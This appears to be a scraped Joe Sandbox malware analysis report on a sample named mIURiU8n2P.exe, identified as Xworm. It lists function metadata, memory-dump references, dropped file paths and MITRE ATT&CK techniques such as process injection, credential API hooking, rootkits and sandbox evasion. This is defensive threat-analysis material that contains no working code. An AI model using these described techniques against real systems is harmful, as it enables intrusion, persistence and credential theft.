Strings

csm, xrefs: 00000179537A9667

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 2145b32293d8455ca781e841aa1131d5b0ada0deb8261f70c7fb98eec7146ba9
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 5A111F32A18B5482EB128F15F54039977B5FB89B98F184221DF8D07754DF3CC555C700

Function 00000179537AD77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000179537AD7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00000179537AAE98), ref: 00000179537AD7C7

Strings

InitializeCriticalSectionEx, xrefs: 00000179537AD7A1

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: 6f59caf677cd616514c29672b532e05b8789abae37375141e2129ee3131dacc8
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: BDF0E231B18B60C1FB169B81F4506D92370EB4ABD8F484127EA0D03B95DE38C5ADC340

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mIURiU8n2P.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\DeadCodeRootKit.exe

C:\Users\Public\DeadROOTkit.exe

C:\Users\Public\DeadXClient.exe

C:\Users\Public\Deadsvchost.exe

C:\Users\user\AppData\Local\DeadROOTkit.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Deadsvchost.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mIURiU8n2P.exe.log

Windows Analysis Report
mIURiU8n2P.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre